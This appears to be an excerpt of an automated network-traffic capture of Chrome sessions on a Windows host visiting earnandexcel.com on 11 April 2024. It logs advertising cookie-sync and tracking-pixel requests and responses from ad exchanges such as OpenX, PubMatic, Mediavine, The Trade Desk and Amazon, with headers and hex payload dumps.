2024-04-11 21:27:02 UTC	712	OUT	GET /w/1.0/sd?id=537072399&val=3393848220146687847 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:02 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.17	50189	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1200	OUT	GET /ps/?_=1712870821243.&ri=0014000000xvEfwAAE&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:02 UTC	700	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:27:02 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 100000000008200000A server: 33XP011 location: https://exchange.mediavine.com/usersync/redirect?partner=thirty_three_across&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=212556691801834 content-length: 0 date: Thu, 11 Apr 2024 21:27:01 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.17	50211	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1274	OUT	GET /usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3393848220146687847 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:02 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.17	50175	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	958	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:02 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:00 GMT; path=/ Set-Cookie: PugT=1712870820; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:00 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.17	50172	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	797	OUT	GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAEYASABKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC
2024-04-11 21:27:02 UTC	619	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 359 Connection: close server: Kestrel location: https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFAoFdGFwYWQSCwjimIaRhZ7tPBAFGAEgASgCMgsI8I6Jvpue7TwQBTgBWgV0YXBhZGAC; expires=Fri, 11 Apr 2025 21:27:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:02 UTC	359	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 31 38 33 30 26 70 61 72 74 6e 65 72 5f 64 65 76 69 63 65 5f 69 64 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 26 74 74 64 5f 70 75 69 64 3d 66 38 37 33 64 37 39 39 2d 39 38 37 66 2d 34 35 66 35 2d 38 36 38 39 2d 39 65 39 39 39 37 35 36 64 63 61 30 25 32 43 25 32 43 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 31 38 33 30 26 70 61 72 74 6e 65 Data Ascii: Redirecting to: <a href="https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C">https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.17	50197	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1292	OUT	GET /usersync/redirect?partner=mediagrid&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:02 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.17	50187	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	660	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	783	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Connection: close x-amz-rid: M43RZ9F46HG96XCRE9VX Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw\|t; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.17	50196	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	738	OUT	GET /track/cmf/openx?oxid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAEYASABKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC
2024-04-11 21:27:02 UTC	579	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 335 Connection: close server: Kestrel location: https://us-u.openx.net/w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent= set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASACKAIyCwic1cWwm57tPBAFOAFaBmd1bWd1bWAC; expires=Fri, 11 Apr 2025 21:27:02 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:02 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 26 74 74 64 5f 70 75 69 64 3d 30 30 35 34 38 36 65 30 2d 34 61 31 30 2d 33 63 61 32 2d 34 30 62 35 2d 62 33 36 35 65 39 31 31 32 33 63 39 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 37 31 26 76 61 6c 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 Data Ascii: Redirecting to: <a href="https://us-u.openx.net/w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent=">https://us-u.openx.net/w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.17	50190	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	947	OUT	GET /sync?ssp=the33across&us_privacy=1--- HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
2024-04-11 21:27:02 UTC	256	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //p.rfihub.com/cm?in=1&pub=20513&ssp=the33across&gdpr=&gdpr_consent=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.17	50217	54.209.123.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	710	OUT	GET /usersync?b=pln&i=8CYd5xB94ljT&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	263	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 35 Connection: close Server: nginx Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache Timing-Allow-Origin: *
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.17	50186	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1166	OUT	GET /ps/?us_privacy=1---&ts=1712870821243.6&ri=90&ru=https%3A%2F%2Fib.adnxs.com%2Fgetuid%3Fhttps%253A%252F%252Fevents-ssc.33across.com%252Fmatch%253Fliv%253Dh%2526us_privacy%253D%24%7BUS_PRIVACY%7D%2526bidder_id%253D90%2526external_user_id%253D%2524UID HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:02 UTC	681	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:27:02 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 40000000008200000A server: 33XP019 location: https://ib.adnxs.com/getuid?https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D90%26external_user_id%3D%24UID content-length: 0 date: Thu, 11 Apr 2024 21:27:02 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.17	50185	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	765	OUT	GET /sync?ssp=themediagrid&gdpr=0&gdpr_consent=&us_privacy=1---&user_id=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
2024-04-11 21:27:02 UTC	332	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ads.creative-serving.com/bsw_sync?bidswitch_ssp_id=themediagrid&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.17	50195	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	782	OUT	POST /mediavine-prod/recomms/users/fc09ead0-b52e-43d4-b0cf-67a3b0dd234d/items/?frontend_timestamp=1712870820&frontend_sign=128e542a00131568b6cd8e63446b01a96c6a2411 HTTP/1.1 Host: client-rapi-mediavine.recombee.com Connection: keep-alive Content-Length: 650 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:02 UTC	650	OUT	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 35 30 2c 22 72 65 74 75 72 6e 50 72 6f 70 65 72 74 69 65 73 22 3a 74 72 75 65 2c 22 69 6e 63 6c 75 64 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 22 74 69 74 6c 65 2c 64 65 73 63 72 69 70 74 69 6f 6e 2c 69 6d 67 55 72 6c 2c 75 72 6c 2c 73 69 74 65 49 64 22 2c 22 66 69 6c 74 65 72 22 3a 22 28 27 73 69 74 65 49 64 27 20 3d 3d 20 5c 22 61 39 33 62 64 36 36 32 2d 30 35 61 31 2d 34 63 65 37 2d 38 31 63 65 2d 34 63 36 37 62 63 63 65 66 31 39 30 5c 22 29 20 61 6e 64 20 28 6e 6f 74 20 28 27 75 72 6c 27 20 7e 20 5c 22 2e 2a 2f 32 5b 30 2d 39 5d 2b 2f 3f 5b 30 2d 39 5d 2b 2f 3f 5b 30 2d 39 5d 2b 2f 3f 5c 22 29 29 20 61 6e 64 20 28 27 6c 61 6e 67 75 61 67 65 27 20 3d 3d 20 5c 22 65 6e 5c 22 29 20 61 6e 64 20 28 6e 6f 74 20 28 27 75 72 6c 27 Data Ascii: {"count":50,"returnProperties":true,"includedProperties":"title,description,imgUrl,url,siteId","filter":"('siteId' == \"a93bd662-05a1-4ce7-81ce-4c67bccef190\") and (not ('url' ~ 